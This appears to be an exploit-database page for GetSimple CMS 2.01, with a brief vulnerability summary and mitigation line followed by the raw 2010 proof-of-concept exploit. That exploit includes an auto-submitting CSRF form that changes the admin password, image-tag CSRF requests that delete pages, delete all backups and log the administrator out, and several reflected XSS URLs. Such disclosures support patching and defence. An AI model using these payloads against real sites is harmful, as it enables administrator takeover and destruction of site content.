header-logo
Suggest Exploit
vendor:
GetSimple CMS
by:
10n1z3d
8,8
CVSS
HIGH
Cross-Site Request Forgery (CSRF) and Cross-Site Scripting (XSS)
352 (Cross-Site Request Forgery (CSRF)) and 79 (Cross-Site Scripting (XSS))
CWE
Product Name: GetSimple CMS
Affected Version From: 2.01
Affected Version To: 2.01
Patch Exists: NO
Related CWE: N/A
CPE: a:get-simple:get-simple_cms
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2010

GetSimple CMS 2.01 Multiple Vulnerabilities (XSS/CSRF)

GetSimple CMS 2.01 is vulnerable to Cross-Site Request Forgery (CSRF) and Cross-Site Scripting (XSS). An attacker can exploit these vulnerabilities to change the admin password, delete pages, delete all backups, and logout the administrator. Additionally, more vulnerabilities can be found in the admin panel.

Mitigation:

Implementing a strong CSRF protection mechanism and validating user input to prevent XSS attacks.
Source

Exploit-DB raw data:

<!---
    Title: GetSimple CMS 2.01 Multiple Vulnerabilities (XSS/CSRF)
    Author: 10n1z3d <10n1z3d[at]w[dot]cn>
    Date: Mon 12 Jul 2010 12:11:45 PM EEST 
    Vendor: http://get-simple.info/
    Download: http://www.box.net/get-simple
--->

-=[ CSRF PoC 1 - Change Admin Password ]=-

    <html>
        <head>
            <title>GetSimple CMS 2.01 Multiple Vulnerabilities (XSS/CSRF) - Change Admin Password</title>
        </head>
        <body onload="document.csrf.submit();">
                
            <form name="csrf" action="http://[domain]/admin/settings.php" method="post">
                <!--- Edit these --->
                <input type="hidden" name="user" value="admin" />
                <input type="hidden" name="email" value="root@root.com" />
                <input type="hidden" name="sitepwd" value="rootroot"/>
                <input type="hidden" name="sitepwd_confirm" value="rootroot"/>
                <!--- Do not edit below --->
                <input type="hidden" name="submitted" value="Save Settings" />
            </form>
        </body>
    </html>
    
-=[ CSRF PoC 2 - Delete Page ]=-

    <img src="http://[domain]/admin/deletefile.php?id=about" alt="Do you see this?" />

-=[ CSRF PoC 3 - Delete All Backups ]=-

    <img src="http://[domain]/admin/backups.php?deleteall" alt="Do you see this?" />

-=[ CSRF PoC 4 - Logout The Administrator ]=-

    <img src="http://[domain]/admin/logout.php" alt="Do you see this?" />

-=[ XSS PoCs ]=-

    http://[domain]/admin/support.php?success=<script>alert('xss');</script>
    http://[domain]/admin/archive.php?upd=del-success&id=<script>alert('xss');</script>
    http://[domain]/admin/upload.php?upd=del-success&id=<script>alert('xss');</script>
    http://[domain]/admin/pages.php?error=<script>alert('xss');</script>
    http://[domain]/admin/pages.php?upd=edit-success&id=<script>alert('xss');</script>&type=delete
    http://[domain]/admin/pages.php?upd=edit-err&type=<script>alert('xss');</script>

-=[ Note ]=-

    More vulnerabilities exist in this version please see the following links:
    
    http://secunia.com/advisories/39464
    http://secunia.com/advisories/39720

<!---
    http://www.evilzone.org/
    irc.evilzone.org  (6697 / 9999)
--->